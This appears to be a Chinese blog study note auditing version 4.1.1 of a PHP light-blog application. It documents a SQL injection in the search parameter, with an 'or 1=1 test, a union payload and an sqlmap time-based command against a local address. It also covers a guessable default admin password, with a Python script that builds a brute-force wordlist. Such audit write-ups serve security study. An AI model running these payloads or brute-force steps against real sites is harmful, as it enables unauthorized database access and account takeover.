18892天

无名轻博客 4.1.1审计小结

发布于 5个月前 / 156 次围观 / 1 条评论 / 学习笔记 / JunMo

0x01前言

源码下载链接 : http://www.mycodes.net/42/10184.htm

0x02 前台注入

这里测试的是搜索功能,在index.php的第134-141,关键在第136行处$s带入数据库执行
 
clipboard(1).png
 
$s是在8行处通过get获取的,只进行了htmlspecialchars也就是把<>转换为 HTML 实体,并没有进行过滤或者转义
 
clipboard.png
 
136行调用的是total方法在app\class\app.php文件内定义,我们这里使用var_dump输出他执行的语句
 
clipboard (1).png
var_dump('SELECT count(id) as c FROM '.$tab_name.' '.$tj);
 
然后来到搜索页面查看是否输出语句,这里可以看到成功输出
 
clipboard.png
 
这里测试'or 1=1,可以看到把条数查询出来了,也确定了这里存在sql注入
 
 
clipboard (1).png
 
这里没办法使用联合注入因为在total方法内返回的是第一条执行的记录值,我们可以total方法内输出查询结果
 
clipboard (2).png
 
然后构造联合注入来查询版本
 
') union select sqlite_version()--
 可以看到查询出了两个数组但是方法只会返回第一个数组的值$result[0]['c']所以这里没办法成功,因为我也不熟悉sqlite不知道还有没有方法可以利用
clipboard (3).png
 
这里使用延时注入,使用sqlmap来跑
 
sqlmap -u "http://192.168.10.66/index.php?s=1111" -p s -v 3  --dbms SQLite --level 3 --risk 3 --technique T

clipboard.png

0x02 默认密码可爆破

默认密码是admin+4位数,代码为

$key =  md5(time().'WMQBK3'); 
$p = 'admin'.substr($key,2,4);

qhs[44z[a73e`en{y{`lfdg.png

登入处也没有验证码,也不需要用户名

 

clipboard.png

这里可以使用python来生成4位数字典
 
import itertools as its

words = 'abcdefghijklmnopqrstuvwxyz1234567890'
r = its.product(words, repeat=4)
dic = open("pass.txt", "a")
for i in r:
    dic.write("".join(i))
    dic.write("".join("\r"))
dic.close()​

未显示?请点击刷新
  1. 5个月前 (05-07)
    @

    厉害